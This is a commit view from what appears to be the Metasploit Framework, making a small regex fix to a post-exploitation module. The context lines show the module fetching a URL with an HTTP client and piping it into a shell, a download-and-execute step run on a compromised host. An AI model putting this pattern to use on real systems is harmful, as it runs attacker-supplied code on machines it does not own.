Be more specific

Perl!
bug/bundler_fix
William Vu 2013-11-27 01:03:41 -06:00
parent b202b98a42
commit f3e71c2c9d
1 changed files with 1 additions and 1 deletions

View File

@ -108,7 +108,7 @@ class Metasploit3 < Msf::Post
return
end
if datastore['URL'].match(/^https/)
if datastore['URL'].match(%r{^https://})
cmd_exec_vprint("#{@http_client} #{@stdout_option} #{@ssl_option} #{datastore['URL']} 2>/dev/null | #{@shell}")
else
cmd_exec_vprint("#{@http_client} #{@stdout_option} #{datastore['URL']} 2>/dev/null | #{@shell}")